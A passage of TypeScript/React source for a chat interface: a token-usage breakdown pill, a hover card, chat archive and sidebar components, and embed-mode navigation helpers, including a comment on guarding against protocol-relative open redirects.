}\n  return String(count);\n};\n\n// Type predicate rather than a plain `boolean`: the early `if\n// (!hasAnyBreakdownRow(breakdown)) return inline;` below then narrows\n// `breakdown` to non-undefined for the whole hover-card branch, so the\n// per-row reads need no non-null assertions.\nconst hasAnyBreakdownRow = (breakdown?: ModelUsageBreakdown): breakdown is ModelUsageBreakdown =>\n  !!breakdown && !!(breakdown.haikuRewriter || breakdown.haikuClassifier || breakdown.haikuSummarizer);\n\nconst ModelDisplay = React.forwardRef<HTMLDivElement, ModelDisplayProps>(\n  (\n    {\n      className,\n      provider,\n      modelName,\n      displayName,\n      usedTokens,\n      contextWindow,\n      breakdown,\n      hitRatePct,\n      inputTokens,\n      outputTokens,\n      ...props\n    },\n    ref,\n  ) => {\n    const icon = getProviderIcon(provider);\n    const name = displayName || modelName;\n\n    // Inline pill: provider icon + model name + \"X / Y tokens used\".\n    // The \"tokens used\" tail renders as soon as `contextWindow` is known\n    // (typically from the leading metadata frame). `usedTokens` lags by a\n    // tick — it only becomes non-null after the first `message_start`\n    // usage frame. Showing \"— / 200K tokens used\" early gives users the\n    // model's capacity context without waiting for the first byte.\n    const inline = (\n      <div ref={ref} className={cn('flex items-center gap-1 text-ods-text-secondary', 'text-h6', className)} {...props}>\n        {icon && <span className=\"flex items-center justify-center\">{icon}</span>}\n        <span className=\"font-body\">{name}</span>\n        {contextWindow != null && (\n          <span className=\"ml-auto opacity-70 text-h6\">\n            {usedTokens != null ? formatTokenCount(usedTokens) : '—'}/{formatTokenCount(contextWindow)} tokens used\n          </span>\n        )}\n      </div>\n    );\n\n    // Without a breakdown there's no story to tell on hover — return the\n    // bare inline so we don't add a stray pointer cursor / accessibility\n    // chrome on chat surfaces that don't capture cross-call usage.\n    if (!hasAnyBreakdownRow(breakdown)) return inline;\n\n    return (\n      <HoverCard openDelay={150} closeDelay={100}>\n        <HoverCardTrigger asChild>\n          <div className=\"cursor-help\">{inline}</div>\n        </HoverCardTrigger>\n        <HoverCardContent\n          className={cn('w-80 p-3', 'border-ods-border bg-ods-card text-ods-text-primary')}\n          align=\"end\"\n          sideOffset={6}\n        >\n          <div className=\"mb-2 font-semibold text-ods-text-primary text-h6\">Token breakdown</div>\n          {/* Answer-call row — uses the SAME pretty model name as the\n              inline pill, plus the input/output split that doesn't fit\n              in the inline view. */}\n          <BreakdownRow label={`Answer (${name ?? 'model'})`} input={inputTokens} output={outputTokens} isAnswer />\n          {breakdown.haikuRewriter && (\n            <BreakdownRow\n              label=\"Query rewriter (Haiku)\"\n              input={breakdown.haikuRewriter.input}\n              output={breakdown.haikuRewriter.output}\n            />\n          )}\n          {breakdown.haikuClassifier && (\n            <BreakdownRow\n              label=\"Intent classifier (Haiku)\"\n              input={breakdown.haikuClassifier.input}\n              output={breakdown.haikuClassifier.output}\n            />\n          )}\n          {breakdown.haikuSummarizer && (\n            <BreakdownRow\n              label=\"History summarizer (Haiku)\"\n              input={breakdown.haikuSummarizer.input}\n              output={breakdown.haikuSummarizer.output}\n            />\n          )}\n          {typeof hitRatePct === 'number' && hitRatePct > 0 && (\n            <div className=\"mt-2 border-t border-ods-border pt-2 text-ods-text-secondary text-h6\">\n              Prompt-cache hit: {hitRatePct}% of answer input\n            </div>\n          )}\n        </HoverCardContent>\n      </HoverCard>\n    );\n  },\n);\n\nfunction BreakdownRow({\n  label,\n  input,\n  output,\n  isAnswer,\n}: {\n  label: string;\n  input?: number;\n  output?: number;\n  isAnswer?: boolean;\n}) {\n  return (\n    <div className=\"flex items-center justify-between py-1 text-h6\">\n      <span className={cn('text-ods-text-secondary', isAnswer && 'font-medium text-ods-text-primary')}>{label}</span>\n      <span className=\"tabular-nums text-ods-text-secondary\">\n        {input != null ? formatTokenCount(input) : '—'} in / {output != null ? formatTokenCount(output) : '—'} out\n      </span>\n    </div>\n  );\n}\n\nModelDisplay.displayName = 'ModelDisplay';\n\nexport interface ModelDisplaySkeletonProps extends React.HTMLAttributes<HTMLDivElement> {\n  /** Also render the right-aligned \"tokens used\" tail placeholder. The token\n   *  tail only appears once `contextWindow` is known, so the default skeleton\n   *  shows just the left part (provider icon + model name). */\n  showTokens?: boolean;\n}\n\n/**\n * Loading placeholder for the {@link ModelDisplay} inline pill. Mirrors its\n * layout (provider icon + model name) so the footer doesn't shift when the\n * real model metadata resolves. The \"tokens used\" tail is opt-in via\n * `showTokens`, matching ModelDisplay (which only renders it once the context\n * window is known).\n */\nconst ModelDisplaySkeleton = React.forwardRef<HTMLDivElement, ModelDisplaySkeletonProps>(\n  ({ className, showTokens = false, ...props }, ref) => (\n    <div ref={ref} aria-hidden className={cn('flex items-center gap-1 text-h6', className)} {...props}>\n      {/* provider icon */}\n      <Skeleton className=\"h-5 w-4 shrink-0 rounded-sm\" />\n      {/* model name */}\n      <Skeleton className=\"h-5 w-24\" />\n      {/* \"X / Y tokens used\" tail — only when tokens are expected */}\n      {showTokens && <Skeleton className=\"ml-auto h-3 w-32\" />}\n    </div>\n  ),\n);\n\nModelDisplaySkeleton.displayName = 'ModelDisplaySkeleton';\n\nexport { ModelDisplay, ModelDisplaySkeleton };\n","'use client';\n\nimport * as HoverCardPrimitive from '@radix-ui/react-hover-card';\nimport { type ComponentPropsWithoutRef, type ComponentRef, forwardRef } from 'react';\n\nimport { cn } from '../utils/cn';\nimport { usePortalContainer } from './ui/portal-container';\n\n/**\n * Rich hover content — a profile preview, a stat breakdown, a record card.\n *\n * WHEN NOT TO USE `Tooltip` INSTEAD. A tooltip is `role=\"tooltip\"`: a short,\n * static description OF its trigger. Anything interactive inside one is\n * unreachable by keyboard and is announced as part of the trigger's\n * description, so a disclosure, link or button in a tooltip is an\n * accessibility bug. A hover card is a non-modal popover that happens to open\n * on hover: it may hold interactive content, stays open while the pointer is\n * inside it, and opens on focus for keyboard users.\n *\n * Text only, no interaction -> `Tooltip`. Anything clickable or expandable ->\n * `HoverCard`.\n */\nconst HoverCard = HoverCardPrimitive.Root;\n\nconst HoverCardTrigger = HoverCardPrimitive.Trigger;\n\nconst HoverCardContent = forwardRef<\n  ComponentRef<typeof HoverCardPrimitive.Content>,\n  ComponentPropsWithoutRef<typeof HoverCardPrimitive.Content>\n>(\n  (\n    {\n      className,\n      // Pin the card's TOP-LEFT to the trigger. Content that expands then grows\n      // DOWNWARD from a fixed point; with a centered/auto side the popper\n      // re-solves its position on every resize and the card appears to jump,\n      // or flips to the other side mid-interaction.\n      align = 'start',\n      side = 'bottom',\n      sideOffset = 8,\n      collisionPadding = 16,\n      style,\n      ...props\n    },\n    ref,\n  ) => (\n    // Portalled so an `overflow: hidden` ancestor (a table cell, a card) cannot\n    // clip it.\n    <HoverCardPrimitive.Portal container={usePortalContainer()}>\n      <HoverCardPrimitive.Content\n        ref={ref}\n        align={align}\n        side={side}\n        sideOffset={sideOffset}\n        collisionPadding={collisionPadding}\n        avoidCollisions\n        sticky=\"always\"\n        className={cn(\n          // A height cap with internal scroll is what stops growing content\n          // from ever exceeding the viewport — which is what forces a flip.\n          'z-[2147483647] max-h-[min(70vh,560px)] w-64 max-w-[calc(100vw-2rem)] overflow-y-auto overscroll-contain',\n          'rounded-md border border-ods-border bg-ods-card p-4 text-ods-text-primary shadow-md outline-none',\n          'data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0',\n          className,\n        )}\n        style={style}\n        {...props}\n      />\n    </HoverCardPrimitive.Portal>\n  ),\n);\nHoverCardContent.displayName = HoverCardPrimitive.Content.displayName;\n\nexport { HoverCard, HoverCardTrigger, HoverCardContent };\n","'use client';\n\nimport { Chevron02LeftIcon, BoxArchiveIcon } from '../icons-v2-generated';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { ChatHeaderIconButton } from './chat-header-icon-button';\nimport { ChatListEmptyState } from './chat-list-empty-state';\nimport { ChatPanelHeaderMobile } from './chat-panel-header-mobile';\nimport { MingoChatHistory, MingoChatHistorySkeleton } from './mingo-chat-history';\nimport type { DialogItem } from './types/component.types';\n\ninterface ChatArchivePageBaseProps {\n  /** Archived dialogs, grouped (Today / Yesterday / Older) by the list. */\n  dialogs: ReadonlyArray<DialogItem>;\n  /** Open an archived dialog. */\n  onSelectDialog: (id: string) => void;\n  /** The delayed skeleton is visible (a slow first page is loading). */\n  isLoading?: boolean;\n  /** A first-page load is in flight but the delayed skeleton hasn't appeared\n   *  yet — keeps the empty state suppressed so it never flashes before the\n   *  skeleton/data arrives. */\n  isFetching?: boolean;\n  /** Whether another page of archived dialogs remains. */\n  hasMore?: boolean;\n  /** Fetch the next page. */\n  onLoadMore?: () => void;\n}\n\n/** Standalone (default): renders its own back/close header, so BOTH handlers\n *  are required. */\nexport interface ChatArchivePageStandaloneProps extends ChatArchivePageBaseProps {\n  embedded?: false;\n  /** Back chevron — returns to the previous (list) view. */\n  onBack: () => void;\n  /** Close the whole chat panel. */\n  onClose: () => void;\n}\n\n/** Embedded (wide split layout): the archive lives in the left rail and the\n *  host header already provides the \"Chat Archive\" back + close controls, so\n *  the built-in header — and its handlers — are dropped. */\nexport interface ChatArchivePageEmbeddedProps extends ChatArchivePageBaseProps {\n  embedded: true;\n  onBack?: never;\n  onClose?: never;\n}\n\nexport type ChatArchivePageProps = ChatArchivePageStandaloneProps | ChatArchivePageEmbeddedProps;\n\n/**\n * Chat Archive page — Figma node `7361:427312`. Back + title + close header\n * over the date-grouped archived-dialog list (reuses `MingoChatHistory`\n * without the row action menus). In `embedded` mode the header is dropped so\n * the list can slot into the split layout's left rail.\n */\nexport function ChatArchivePage(props: ChatArchivePageProps) {\n  const { dialogs, onSelectDialog, isLoading = false, isFetching = false, hasMore = false, onLoadMore } = props;\n\n  // A first, uncached load is in flight but the delayed skeleton hasn't\n  // appeared yet (the 120ms window). Render nothing rather than flashing\n  // the empty state before the skeleton / data arrives.\n  //\n  // Hoisted out of the ternary on 2026-08-24: Prettier joins `//` comments\n  // that sit inside a nested ternary onto one line, in reverse order, and\n  // reattaches them to the following branch. The explanation is worth more\n  // than the inline position.\n  const suppressEmptyStateWhileFetching = isFetching;\n  return (\n    <>\n      {/* Mobile (<md): the shared mobile header — back to the list + a ⋯ menu\n          (Close only here, since the archive list has no per-chat actions).\n          `!props.embedded` narrows the union so `onBack` / `onClose` are the\n          required standalone handlers (no no-op fallbacks). */}\n      {!props.embedded && (\n        <ChatPanelHeaderMobile\n          className=\"flex md:hidden\"\n          showBack\n          title=\"Chat Archive\"\n          backAriaLabel=\"Back\"\n          onBack={props.onBack}\n          onClose={props.onClose}\n        />\n      )}\n\n      {/* Desktop (md+): fixed-height bar with full-height divider action cells —\n          the back chevron is a leading `ChatHeaderIconButton` cell matching the\n          trailing close cell (not a small inline chevron). */}\n      {!props.embedded && (\n        <div className=\"hidden h-14 w-full flex-shrink-0 overflow-hidden border-b border-ods-border bg-ods-card md:flex\">\n          <ChatHeaderIconButton divider=\"right\" onClick={props.onBack} aria-label=\"Back\">\n            <Chevron02LeftIcon size={24} />\n          </ChatHeaderIconButton>\n          <div className=\"flex min-w-0 flex-1 items-center px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)]\">\n            <span className=\"truncate text-ods-text-primary text-h3\">Chat Archive</span>\n          </div>\n\n          <ChatHeaderIconButton onClick={props.onClose} aria-label=\"Close\">\n            <XmarkIcon size={24} />\n          </ChatHeaderIconButton>\n        </div>\n      )}\n      <div className=\"flex min-h-0 flex-1 flex-col p-[var(--spacing-system-m)]\">\n        {dialogs.length > 0 ? (\n          <MingoChatHistory\n            dialogs={dialogs}\n            onSelectDialog={onSelectDialog}\n            hasMore={hasMore}\n            isLoadingMore={isLoading && dialogs.length > 0}\n            onLoadMore={onLoadMore}\n          />\n        ) : isLoading ? (\n          // First-load skeleton — the SAME grouped/bordered placeholder the\n          // active list uses, so the archive loads and lands without a layout\n          // shift or a mismatched flat-list skeleton.\n          <MingoChatHistorySkeleton />\n        ) : suppressEmptyStateWhileFetching ? null : (\n          // Empty state — mirrors the \"Current Chats\" rail empty state\n          // (Figma 113:60939): centred 24px muted glyph + h4 title + h6 caption.\n          <ChatListEmptyState\n            icon={<BoxArchiveIcon size={24} />}\n            title=\"No Archived Chats\"\n            description=\"Archived Mingo sessions will show here\"\n          />\n        )}\n      </div>\n    </>\n  );\n}\n","import { forwardRef, useRef, useEffect } from 'react';\nimport type { MouseEvent } from 'react';\nimport { cn } from '../../utils/cn';\nimport { ChatPlusIcon, ChatsIcon, Chevron02RightIcon } from '../icons-v2-generated';\nimport { Button } from '../ui/button';\nimport { ChatSidebarSkeleton, DialogListItemSkeleton } from './chat-sidebar-skeleton';\nimport type { ChatSidebarProps, DialogListItemProps } from './types';\n\nconst DialogListItem = forwardRef<HTMLDivElement, DialogListItemProps>(\n  ({ className, dialog, isActive, onDialogSelect, onClick, ...props }, ref) => {\n    const handleClick = (e: MouseEvent<HTMLDivElement>) => {\n      onDialogSelect?.(dialog.id);\n      onClick?.(e);\n    };\n\n    const formatTimestamp = (timestamp?: Date | string) => {\n      if (!timestamp) return '';\n      const date = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n      return (\n        date.toLocaleDateString('en-US', {\n          year: 'numeric',\n          month: '2-digit',\n          day: '2-digit',\n        }) +\n        ', ' +\n        date.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', hour12: false })\n      );\n    };\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          'flex items-center gap-4 overflow-clip',\n          'px-4 py-3',\n          'cursor-pointer border-b border-ods-border',\n          'bg-ods-card',\n          'transition-colors hover:bg-ods-bg-hover',\n          isActive && 'border-l-2 border-l-ods-accent bg-ods-bg-hover',\n          className,\n        )}\n        onClick={handleClick}\n        {...props}\n      >\n        {/* Content area */}\n        <div className=\"flex min-w-0 flex-1 flex-col items-start justify-center gap-1\">\n          <div className=\"flex w-full min-w-0 items-center\">\n            <h3\n              className={cn(\n                'min-w-0 flex-1 text-h6',\n                isActive ? 'text-ods-accent' : 'text-ods-text-primary',\n                'truncate',\n              )}\n              title={dialog.title || 'Untitled Chat'}\n            >\n              {dialog.title || 'Untitled Chat'}\n            </h3>\n          </div>\n          {dialog.timestamp && (\n            <p className=\"w-full min-w-0 truncate text-ods-text-secondary text-h6\">\n              {formatTimestamp(dialog.timestamp)}\n            </p>\n          )}\n        </div>\n\n        {/* Right side indicator - always visible */}\n        <div className=\"ml-2 flex-shrink-0\">\n          {dialog.unreadMessagesCount && dialog.unreadMessagesCount > 0 ? (\n            <div className=\"flex size-6 items-center justify-center rounded-md bg-ods-accent p-2\">\n              <span className=\"text-ods-text-on-accent text-h6\">\n                {dialog.unreadMessagesCount > 99 ? '99+' : dialog.unreadMessagesCount}\n              </span>\n            </div>\n          ) : (\n            <Chevron02RightIcon className=\"size-6 text-ods-text-secondary\" />\n          )}\n        </div>\n      </div>\n    );\n  },\n);\n\nDialogListItem.displayName = 'DialogListItem';\n\nconst ChatSidebar = forwardRef<HTMLDivElement, ChatSidebarProps>(\n  (\n    {\n      className,\n      onNewChat,\n      onDialogSelect,\n      dialogs = [],\n      activeDialogId,\n      isLoading,\n      isCreatingDialog,\n      children,\n      hasNextPage,\n      isFetchingNextPage,\n      onLoadMore,\n      ...props\n    },\n    ref,\n  ) => {\n    const showEmptyState = dialogs.length === 0 && !children;\n    const scrollContainerRef = useRef<HTMLDivElement>(null);\n    const loadMoreRef = useRef<HTMLDivElement>(null);\n    const onLoadMoreRef = useRef(onLoadMore);\n    onLoadMoreRef.current = onLoadMore;\n    const isFetchingRef = useRef(isFetchingNextPage);\n    isFetchingRef.current = isFetchingNextPage;\n\n    useEffect(() => {\n      const scrollContainer = scrollContainerRef.current;\n      const loadMoreElement = loadMoreRef.current;\n      if (!scrollContainer || !loadMoreElement || !hasNextPage) return undefined;\n\n      const observer = new IntersectionObserver(\n        entries => {\n          const [entry] = entries;\n          if (entry.isIntersecting && !isFetchingRef.current) {\n            onLoadMoreRef.current?.();\n          }\n        },\n        { root: scrollContainer, rootMargin: '100px', threshold: 0.1 },\n      );\n      observer.observe(loadMoreElement);\n      return () => observer.disconnect();\n    }, [hasNextPage]);\n\n    if (isLoading && dialogs.length === 0 && !children) {\n      return <ChatSidebarSkeleton className={className} dialogCount={8} showNewChatButton={true} />;\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn('flex h-full w-80 flex-col', 'bg-ods-bg', 'border-r border-ods-border', className)}\n        {...props}\n      >\n        {/* Start New Chat Button */}\n        <div className=\"flex shrink-0 items-center justify-center border-b border-ods-border bg-ods-card px-4 py-1\">\n          <Button\n            onClick={onNewChat}\n            variant=\"transparent\"\n            disabled={isLoading || isCreatingDialog}\n            leftIcon={<ChatPlusIcon className=\"size-6 text-ods-text-secondary\" />}\n            className=\"flex-1 justify-center text-ods-text-primary text-h3 hover:bg-ods-bg-hover focus-visible:ring-0\"\n          >\n            Start New Chat\n          </Button>\n        </div>\n\n        {/* Dialogs List or Content Area */}\n        <div className=\"flex min-h-0 flex-1 flex-col\">\n          {showEmptyState ? (\n            /* Empty State */\n            <div className=\"flex flex-1 flex-col items-center justify-center gap-6 p-6\">\n              <ChatsIcon className=\"h-6 w-6 text-ods-text-secondary\" />\n              <div className=\"space-y-2 text-center\">\n                <h3 className=\"text-ods-text-secondary text-h4\">No Current Chats</h3>\n                <p className=\"text-ods-text-secondary text-h6\">Previous Mingo sessions will show here</p>\n              </div>\n            </div>\n          ) : children ? (\n            /* Custom children content */\n            <div className=\"flex-1 overflow-y-auto overscroll-contain\">{children}</div>\n          ) : (\n            /* Dialogs List */\n            <div ref={scrollContainerRef} className=\"min-h-0 flex-1 overflow-y-auto overscroll-contain\">\n              <div className=\"flex flex-col\">\n                {dialogs.map(dialog => (\n                  <DialogListItem\n                    key={dialog.id}\n                    dialog={dialog}\n                    isActive={dialog.id === activeDialogId}\n                    onDialogSelect={onDialogSelect}\n                  />\n                ))}\n\n                {/* Infinite scroll loading indicator and intersection target */}\n                {hasNextPage && (\n                  <div ref={loadMoreRef}>\n                    {isFetchingNextPage && (\n                      <>\n                        <DialogListItemSkeleton />\n                        <DialogListItemSkeleton />\n                        <DialogListItemSkeleton />\n                      </>\n                    )}\n                  </div>\n                )}\n              </div>\n            </div>\n          )}\n        </div>\n      </div>\n    );\n  },\n);\n\nChatSidebar.displayName = 'ChatSidebar';\n\nexport { ChatSidebar, DialogListItem };\n","import { forwardRef } from 'react';\nimport { cn } from '../../utils/cn';\nimport { ChatPlusIcon } from '../icons-v2-generated';\nimport { Button } from '../ui/button';\n\ninterface DialogListItemSkeletonProps {\n  className?: string;\n}\n\nconst DialogListItemSkeleton = forwardRef<HTMLDivElement, DialogListItemSkeletonProps>(\n  ({ className, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          'flex items-center gap-4 overflow-clip',\n          'px-4 py-3',\n          'border-b border-ods-border',\n          'bg-ods-card',\n          className,\n        )}\n        {...props}\n      >\n        {/* Content area skeleton */}\n        <div className=\"flex flex-1 flex-col items-start justify-center gap-1\">\n          <div className=\"flex w-full items-center\">\n            {/* Title skeleton */}\n            <div className=\"h-6 w-full max-w-[200px] animate-pulse rounded bg-ods-border\" />\n          </div>\n          {/* Timestamp skeleton */}\n          <div className=\"h-4 w-32 animate-pulse rounded bg-ods-border\" />\n        </div>\n\n        {/* Right side chevron skeleton */}\n        <div className=\"size-6 shrink-0 animate-pulse rounded bg-ods-border\" />\n      </div>\n    );\n  },\n);\n\nDialogListItemSkeleton.displayName = 'DialogListItemSkeleton';\n\ninterface ChatSidebarSkeletonProps {\n  className?: string;\n  dialogCount?: number;\n  showNewChatButton?: boolean;\n}\n\nconst ChatSidebarSkeleton = forwardRef<HTMLDivElement, ChatSidebarSkeletonProps>(\n  ({ className, dialogCount = 8, showNewChatButton = true, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn('flex h-full w-80 flex-col', 'bg-ods-bg', 'border-r border-ods-border', className)}\n        {...props}\n      >\n        {/* Start New Chat Button */}\n        {showNewChatButton && (\n          <div className=\"flex shrink-0 items-center justify-center border-b border-ods-border bg-ods-card px-4 py-1\">\n            <Button\n              variant=\"transparent\"\n              disabled={true}\n              leftIcon={<ChatPlusIcon className=\"size-6 text-ods-text-secondary\" />}\n              className=\"flex-1 cursor-not-allowed justify-center text-ods-text-secondary text-h3 hover:bg-transparent\"\n            >\n              Start New Chat\n            </Button>\n          </div>\n        )}\n\n        {/* Dialogs List Skeleton */}\n        <div className=\"flex min-h-0 flex-1 flex-col\">\n          <div className=\"min-h-0 flex-1 overflow-y-auto overscroll-contain\">\n            <div className=\"flex flex-col\">\n              {Array.from({ length: dialogCount }).map((_, index) => (\n                <DialogListItemSkeleton key={index} />\n              ))}\n            </div>\n          </div>\n        </div>\n      </div>\n    );\n  },\n);\n\nChatSidebarSkeleton.displayName = 'ChatSidebarSkeleton';\n\nexport { ChatSidebarSkeleton, DialogListItemSkeleton };\n","'use client';\n\n/**\n * Chat-panel-local context.\n *\n * The chat shell (EmbeddableChat) provides a small set of panel-level\n * affordances that descendants — including inline cards rendered via\n * the dispatcher — may want to consume WITHOUT prop drilling:\n *\n *   - `closeChat()` — close the chat panel. Inline cards trigger this\n *     ONLY when their navigation is same-tab (so new-tab clicks leave\n *     the chat open while the new tab loads).\n *\n * Why context vs prop drilling: the card dispatch has 7+ wrappers\n * (BlogCard, ProgramCard, DataRoomDocCard, …). Threading `onClose`\n * through every wrapper signature would touch every card type for one\n * UX behavior — not worth the churn. Context is opt-in at the\n * provider level and zero-cost when not consumed.\n *\n * Defaults to `null` when no provider is mounted (e.g. tests, or a\n * card rendered outside the panel) — consumers MUST handle `null`.\n */\n\nimport { createContext, useContext } from 'react';\n\nexport interface ChatPanelHandle {\n  /** Close the chat panel. Called by inline cards' nav click handler\n   *  ONLY when the resolved navigation is same-tab. */\n  closeChat: () => void;\n}\n\nexport const ChatPanelContext = createContext<ChatPanelHandle | null>(null);\n\n/** Optional consumer — returns `null` when no provider mounted. */\nexport function useChatPanel(): ChatPanelHandle | null {\n  return useContext(ChatPanelContext);\n}\n","'use client';\n\n/**\n * Embed-mode navigation resolver + shared click-handling primitives.\n *\n * Used by the lib chat panel's chip + card click handlers to force\n * new-tab + absolutize against the embedder-supplied content origin.\n *\n * Refactor from hub origin (D5): inferTargetPlatformFromHref +\n * getPlatformDomain dropped. Caller threads `targetPlatform` directly.\n * Relative URLs without a defaultContentOrigin emit a dev warning\n * and resolve against window.location.origin (likely wrong in embed\n * mode; embedder should set defaultContentOrigin).\n */\n\nimport type { ChatRuntime } from '../../../contexts/chat-runtime-context';\n\n/** Arguments accepted by `window.open` for a new tab — keep `noopener`\n *  + `noreferrer` to prevent the opened page from accessing\n *  window.opener (reverse-tabnabbing class). */\nexport const NEW_TAB_FEATURES = 'noopener,noreferrer';\n\n/** Modifier-click predicate — matches the existing useNavLink branch\n *  (cmd/ctrl/shift/alt OR non-primary mouse button). */\nexport function isModifierClick(e: {\n  button?: number;\n  metaKey?: boolean;\n  ctrlKey?: boolean;\n  shiftKey?: boolean;\n  altKey?: boolean;\n}): boolean {\n  return e.button !== 0 || !!e.metaKey || !!e.ctrlKey || !!e.shiftKey || !!e.altKey;\n}\n\n/** Strip the origin from an absolute URL, returning a relative path the host's\n *  router will treat as in-app navigation. Already-relative URLs pass through.\n *\n *  Strips the origin off ANY absolute URL, cross-origin included — the caller\n *  decides. The hub relies on that: its platforms are one Next app on several\n *  origins, so an absolute `https://openmsp.ai/x` opened same-tab must stay on\n *  whatever host is running (prod, a preview deploy, or localhost). Callers that\n *  can be handed a genuinely FOREIGN href must check the origin first, or they\n *  push a path that 404s on their own — see `runNavigation`. */\nexport function stripSameOriginToPath(href: string): string {\n  if (!href.startsWith('http')) return href;\n  try {\n    const u = new URL(href);\n    return u.pathname + u.search + u.hash;\n  } catch {\n    return href;\n  }\n}\n\nexport interface ExternalNavResolution {\n  /** Absolutized href — relative paths are joined with\n   *  `runtime.navigation.defaultContentOrigin` (embed contract). */\n  href: string;\n  /** Synchronous opener. MUST be invoked inline from a user gesture for\n   *  popup-blocker compatibility (Safari/Firefox). Honors\n   *  runtime.navigation.openExternal override, else falls back to\n   *  window.open(href, '_blank', 'noopener,noreferrer'). */\n  open: () => void;\n}\n\n/**\n * Pre-resolve an href against the embed-mode `defaultContentOrigin`.\n *\n * In `embed` mode every chat-rendered anchor MUST point at an absolute\n * URL on the hub origin (not the embedder origin). Without\n * pre-resolution, relative paths like `/knowledge-base/foo.md` render\n * as `<a href=\"/knowledge-base/...\">` — the click handler intercepts\n * primary-button clicks correctly, but modifier-click (cmd/ctrl/middle/\n * right) bypasses the handler and opens `<embedder-origin>/...` → 404.\n * Pre-resolution at render time makes every browser-native navigation\n * path (hover preview, status bar, copy-link, new-tab via modifier)\n * land on the hub correctly.\n *\n * In `host` mode (the hub itself) the href is returned unchanged —\n * relative paths resolve naturally against the hub's own origin.\n *\n * Absolute URLs and protocol-relative URLs are returned unchanged in\n * both modes.\n */\nexport function resolveHrefForRuntime(href: string, runtime: ChatRuntime): string {\n  if (runtime.navigation.mode !== 'embed') return href;\n  if (href.startsWith('http')) return href;\n  if (href.startsWith('//')) return href;\n  const origin = runtime.navigation.defaultContentOrigin;\n  if (!origin) return href;\n  return origin.replace(/\\/+$/, '') + (href.startsWith('/') ? href : '/' + href);\n}\n\n/**\n * Resolve external navigation in embed mode.\n *\n * Browser-only: called from React event handlers (onClick, imperative\n * click handlers) after mount. No SSR-reachable paths.\n */\nexport function resolveExternalNavigation(args: {\n  href: string;\n  targetPlatform: string | null | undefined;\n  runtime: ChatRuntime;\n}): ExternalNavResolution {\n  let abs = args.href;\n\n  // Defense: protocol-relative URLs (`//evil.com/x`) are NOT same-origin —\n  // browsers treat them as cross-origin absolute. Without this guard,\n  // a malicious href like `//evil.com/x` would skip the `startsWith('http')`\n  // check and reach the origin-concat branch below, producing a malformed\n  // URL that some browsers normalize back to `https://evil.com/x`\n  // (open-redirect class).\n  if (abs.startsWith('//')) abs = window.location.protocol + abs;\n\n  if (!abs.startsWith('http')) {\n    if (args.runtime.navigation.defaultContentOrigin) {\n      // Strip trailing slashes via a loop, not `/\\/+$/` — CodeQL flags\n      // the greedy `+` as polynomial-redos even with the `$` anchor.\n      // The loop is unambiguously O(n) in slash count.\n      let origin = args.runtime.navigation.defaultContentOrigin;\n      while (origin.endsWith('/')) origin = origin.slice(0, -1);\n      abs = origin + (abs.startsWith('/') ? abs : '/' + abs);\n    } else if (args.runtime.navigation.mode === 'embed' && process.env.NODE_ENV !== 'production') {\n      console.warn(\n        '[chat-nav-resolution] relative href in embed mode with no ' +\n          'defaultContentOrigin set on runtime.navigation — link will resolve ' +\n          'against the embedder origin.',\n        { href: abs, targetPlatform: args.targetPlatform },\n      );\n    }\n  }\n\n  const open = () => {\n    // Explicit if/else (NOT `??`) — `??` only short-circuits on\n    // null/undefined LHS, but `openExternal?.(href)` returns void on a\n    // successful call, which `??` treats as undefined and re-fires\n    // window.open — double-open bug.\n    if (args.runtime.navigation.openExternal) {\n      args.runtime.navigation.openExternal(abs);\n    } else {\n      window.open(abs, '_blank', NEW_TAB_FEATURES);\n    }\n  };\n\n  return { href: abs, open };\n}\n","'use client';\n\n/**\n * THE single navigation-EXECUTION primitive for the whole lib.\n *\n * Link BUILDING is unified by `composeContentUrl`; the new-tab DECISION is\n * unified by `computeIsNewTab`/`decideNewTab`. This is the third leg: ONE place\n * that EXECUTES a navigation — encoding new-tab-vs-same-tab + internal-vs-external\n * + embed-vs-host + the runtime-then-router-then-window fallback chain. Every\n * surface routes through it:\n *   - chat cards / chips / markdown links → `executeNavigation` (click form),\n *     via the thin `handleChatNavClick` wrapper.\n *   - buttons / page rows / form redirects → `executeNavigationImperative` directly.\n *\n * Decision tree (the SAME one `handleChatNavClick` used — copied verbatim so\n * behavior is byte-identical; the hub's chat-click behavior MUST NOT change):\n *   1. empty href → no-op (click form preventDefaults + reports handled)\n *   2. (click form) modifier / non-primary button → NOT handled — let the\n *      browser do its native thing (`<a>` opens a new tab, etc.)\n *   3. `computeIsNewTab` true → `runtime.navigation.openExternal(href)` else\n *      `window.open(href, '_blank', noopener,noreferrer)`\n *   4. else (same-tab) → `runtime.navigation.navigate({href,path,targetPlatform})`;\n *      if the host didn't handle it → `fallbackNavigate(stripped)` else\n *      `window.location.assign(stripped)`\n *\n * `runtime` is nullable: surfaces with no `ChatRuntimeContext` mounted (e.g. the\n * announcement bar) pass `null` and get the plain same-tab fallback — there's no\n * new-tab/embed decision to make without a runtime.\n */\n\nimport type { ChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { navigateSamePageHash, STICKY_HEADER_OFFSET_PX } from '../../../utils/same-page-hash-nav';\nimport { NEW_TAB_FEATURES, stripSameOriginToPath } from './chat-nav-resolution';\nimport { computeIsNewTab, isSameOriginAbsoluteHref } from './nav-anchor-props';\n\n/** Absolute `http(s)` URL pointing at an origin that is not ours. */\nfunction isForeignOriginHref(href: string): boolean {\n  return /^https?:\\/\\//i.test(href) && !isSameOriginAbsoluteHref(href);\n}\n\n/** Minimal mouse-event surface — structural so chip buttons / tiles can call it\n *  without casting `React.MouseEvent`. */\nexport interface NavClickEvent {\n  preventDefault(): void;\n  button?: number;\n  metaKey?: boolean;\n  ctrlKey?: boolean;\n  shiftKey?: boolean;\n  altKey?: boolean;\n}\n\nexport interface ExecuteNavigationClickArgs {\n  event: NavClickEvent;\n  runtime: ChatRuntime | null | undefined;\n  href: string;\n  path?: string | null;\n  targetPlatform?: string | null;\n  /** Host router fallback for same-origin soft-nav when the runtime doesn't wire\n   *  `navigation.navigate` — pass `useRouter().push`. Without it, falls back to a\n   *  full-page 